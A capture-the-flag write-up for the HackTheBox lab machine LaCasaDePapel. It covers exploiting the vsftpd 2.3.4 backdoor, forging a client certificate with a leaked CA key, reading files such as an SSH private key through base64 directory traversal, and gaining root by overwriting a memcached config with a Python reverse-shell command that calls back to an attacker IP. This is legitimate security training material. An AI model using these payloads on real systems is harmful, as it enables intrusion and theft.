Before I start, apologies for the late drop on this write-up. I had it ready as soon as I finished the box, but I’ve been out with illness for a few weeks and didn’t even see that this box had already been retired until today. So here it is, better late than never!
LaCasaDePapel was one of those boxes that once again humbled me and taught me that I do not know nearly as much as I assume I’ve learned from HackTheBox so far. From my conversations with other people, that seemed to be an at least not uncommon theme, so hopefully this write-up is helpful for those of you who were as confused as I was.
As per the norm, we start out with our Nmap scan:
nmap -sC -sV -oA LaCasaDePapel 10.10.10.131
-sC - Script scanning using the default script list.
-sV - Attempts version detection of protocols/applications during scan.
-oA - Output files in all formats
LaCasaDePapel - The name of the files for -oA output.
10.10.10.131 - The target machine’s IP address.
On this box we’ve got FTP, SSH, HTTP, and HTTPS available. We don’t have any credentials for SSH, and I don’t see anything indicating that anonymous logins are available for FTP, so we’ll start by taking a look at the web server ports.
First, let’s start with HTTP to see if there is anything interesting we can grab over plaintext:
Nothing of interest as far as I can tell. I could be wrong, but I’d rather not start attacking something unless it is blatantly obvious that it might help me. That having been said, let’s try HTTPS instead:
We get an invalid certificate error, and an image featuring my favorite painter, Salvador Dali, telling us that we need to provide a client certificate to proceed. Again, I don’t want to dig into this too far, but I get the feeling that this may be our path as opposed to the authentication app mentioned on the HTTP page. Just a hunch.
Since we can’t really proceed any further with web services, let’s revisit FTP. You may have noticed in the earlier screenshot that a particular FTP server application and version number were discovered by Nmap. If you’re on Kali, we can run those through searchsploit. If you’re a 0x00sec VIP member, you can have Karen take a look for you via Discord:
As it turns out, vsftpd was backdoored in version 2.3.4, and that happens to be the version installed on our victim. This exploit is trivial to exploit on your own (so much so that I am not going to dedicate any time to writing about the exploit), but for some reason it was extremely unstable for me (a recurring issue I had with multiple paths on this box, sad to say). The Metasploit module, on the other hand, was far more stable. Let’s get it set up:
use exploit/unix/ftp/vsftpd_234_backdoor set rhosts 10.10.10.131 set rport 21
Once we’re set, we’ll run the exploit command to execute.
The exploit will succeed, but we haven’t set up a payload or listener of any kind, so no session will be created. This is okay. If you read the exploit itself, you’ll have realized that the backdoor is hardcoded to open port 6200 on the affected system. Let’s try using telnet to connect to that port to see if our exploit worked:
telnet 10.10.10.131 6200
So, we got a shell. But what is it? Clearly, this is the backdoor that has been embedded into vsftpd, but how do we use it? What are its capabilities? A little cursory research is never a bad idea, but in this case just firing the help command into the aether did the trick for me:
NOTE: I noticed when interacting with this shell that if you do something to cause an issue, you may have to reset the box so you can re-run the exploit to get a fresh copy of the backdoor. Just my observation.
So, we have some things we can try. Now, it might just be me, but the first thing I did was use the ls command to see what I could learn about the environment. I quickly note that $tokyo is a variable. That seems interesting, so I’ll run show $tokyo to see if this trail of breadcrumbs leads us any deeper into the woods:
We have some code in here that looks interesting enough. There is one bit in particular that stands out because, if you recall, the HTTPS web page stated that we need a client certificate to proceed. Incidentally, this code appears to mention a CA key, which might be exactly what we need to craft our own client certificate. I decided to rip the command straight out of $tokyo without assigning a variable. I ran it, and got some results:
That looks like a private key if I ever saw one. Now, we don’t have a reliable method of downloading the ca.key file, so instead I’ll just copy the text from -----BEGIN PRIVATE KEY----- to -----END PRIVATE KEY-----. I’ll use vi to create a new file called ca.key, paste the contents I have copied, then set to work editing. I remove the preceding blank spaces for each line, as well as any lines that are totally blank. Once those are addressed, I’ll remove the \n at the end of each line. If you’ve done it correctly, md5sum should return 15669c919e89280007d130f0ca5688a4 as the hash value for ca.key.
I will preface this entire next section by saying that I work with CSRs and keys and certificates on a fairly regular basis at my dayjob, and even still I had some issues with this. My issues, as per the norm, all stemmed from the fact that I way overthought this, but there is also the fact that the next step can be approached in a few different ways. My way only requires a single command, though, and I know how it worked, so we’ll stick with it for now.
First, make sure you’ve got your ca.key file ready. Next, visit the web page via HTTPS. However you’d like, view the certificate for the web page and export it to your machine. It should be called lacasadepapelhtb.crt and should have a SHA1 thumbprint of 8C:47:7F:3E:53:D8:E7:6B:4C:DF:EC:CA:AD:B6:05:51:B1:B6:38:D4. With both these files in hand, run the following openssl command:
openssl pkcs12 -export -out lacasadepapelhtb.p12 -in lacasadepapelhtb.crt -inkey ca.key -passin pass:lacasa -passout pass:lacasa
pkcs12 -export - Indicates that we are going to be exporting a file in this format.
-out lacasadepapelhtb.p12 - Indicates the name of the file we are outputting.
-in lacasadepapelhtb.crt - Indicates the name of the file we are inputting for conversion.
-inkey ca.key - Indicates the key we will be using to sign the exported file.
-passin pass:lacasa -passout pass:lacasa - These switches just specify the password used to secure the file(s).
If all goes as planned, you should have a brand new file named lacasadepapelhtb.p12. Take this file and import it into your browser of choice (for me, Firefox worked best.) Once that is done, revisit the HTTPS page, and you should notice different behavior than previously exhibited when you did not have the CA key signed certificate:
At this point, I just started clicking around and exploring the page. To be honest, I am surprised I found the path forward as quickly as I did. If you click into either season’s link, you’ll be presented with a list of “episodes”. Pay close attention to the URL for the “episodes”; Season 01, Episode 01 for example:
That bit after file/ looks interesting to me. How about we run it through base64 to see what we get?
echo U0VBU09OLTEvMDEuYXZp | base64 -d
Okay, so the actual URL, when decoded, is hxxps://lacasadepapel.htb/file/SEASON-1/01.avi. Let’s try that in our browser now to see what happens:
That didn’t work. Let’s try the original URL, complete with base64:
That worked. That means, essentially, that we can download files here, but only if we do it by supplying the path in base64. There’s more to it than that, though. Remember our FTP backdoor shell? Here’s something we can see with it (I captured this during my initial enumeration of that foothold, which is why it stuck out to me later on):
I had used the scandir PHP function to explore the file structure, and I knew this seemed familiar! Between this knowledge and the base64 trick we learned, it’s safe to say that hxxps://lacasadepapel.htb/file/ actually represents /home/berlin/downloads/. Knowing this, we can start trying some directory traversal attacks.
Taking it easy at first, let’s see if we can read the contents of /home/berlin. To do his, we need to traverse up from our default subdirectory. This is also known as a dot-dot-slash attack. So, the path we want is …/…/berlin/ which, when converted to base64 using CyberChef is Li4vLi4vYmVybGluLw==. That makes our full path hxxps://lacasadepapel.htb/file/Li4vLi4vYmVybGluLw==
NOTE: I very specifically mention CyberChef here because obtaining the base64 using other ways may produce different results that, when submitted as part of a URL to the HTTPS web page, can cause the HTTPS service to crash and become unavailable until the machine is reset.
We can’t read directories with this trick. That’s fine. Let’s go for some loot and see if we can grab the user flag. Our path is …/…/berlin/user.txt, and in base64 that is Li4vLi4vYmVybGluL3VzZXIudHh0. Once again, our full path is hxxps://lacasadepapel.htb/file/Li4vLi4vYmVybGluL3VzZXIudHh0
That’s our user flag! Now, let’s scrounge around for anything else we may be able to pilfer using this trick. I quickly discovered that we can’t go very deep into most folders, so I decided to reply upon a mixture of enumeration via our FTP backdoor shell and some good, old-fashioned research. Below were the contents of /home/berlin:
We can’t dive very deep into any of these folders, so we’ll have to do some research on each of these folders. We could also grab the server.js file with our base64 directory traversal trick, but we’re trying to get a better shell, hopefully as a better or at least different user. To that end, .ssh intrigues me. I had some cursory knowledge prior to doing this box, but some quick Google work led me to the knowledge that the file id_rsa lies within this folder. With this file, we can authenticate to the victim box over ssh and get a better connection (hopefully!). Using our trick, we come up with the path hxxps://lacasadepapel.htb/file/Li4vLi4vYmVybGluLy5zc2gvaWRfcnNh
We’ve got it! So, now we want to try authenticating with our key. However, allow me to save you a step here: the key does not allow us to authenticate as the user berlin. We’ll have to try a different user.
Now, my fellow 0x00sec HTB player @clarkee told me that the answer to the user we need to authenticate as is obvious if you think about it. Well, I did not take that route, so let me show you what I did instead, like a bad person:
Yes, I just took the contents of /etc/passwd and made a hard-coded bruteforce script. Sloppy, but it did the trick.
We are in via SSH as the user professor. Wonderful. Time to enumerate and try to get some privilege escalation.
I wasted so much unnecessary time on this box. Once again, my unfamiliarity with Linux and my general newness to hacking in general got the better of me. The answers to my path were in the folder of the user I connected with the whole time.
I did not know this, but despite the fact that the memcached.ini file does not have w permissions set at the file level, the directory itself does, so we have the ability to overwrite it. And because it is owned by root, anything that gets executed as a result of that file also runs as root. A quick review of ps -a shows us something interesting (or you can capture this with pspy, which I’ve covered in other posts and won’t re-iterate here):
The memcached process runs fairly regularly, so if we can edit memcached.ini it will definitely be read in short order. Let’s examine the contents of the file first before we make any changes:
Okay, so, we need to change everything after command = sudo -u. I am going to change nobody to root, then drop in a python command for a reverse shell (which I got from NaviSec (thanks, @pry0cc)). I will place this into a file called new.ini, since I can’t edit memcached.ini directly. Then, after setting up a listener on my attacking machine with nc -lp 2113, I’ll run mv new.ini memcached.ini to overwrite the file owned by root. Here are the contents of new.ini:
command = sudo -u root python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.41”,2113));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
Once we’ve moved the file, we can go watch our listener and wait for our reverse shell to appear:
And that’s LaCasa. All in all, I really wanted to like this box. Conceptually, I did, but the little instabilities really made it hard to enjoy. I reset this box more times than I have reset all other boxes combined. Still, I learned some new things, and I hope you did as well.
Thanks for reading!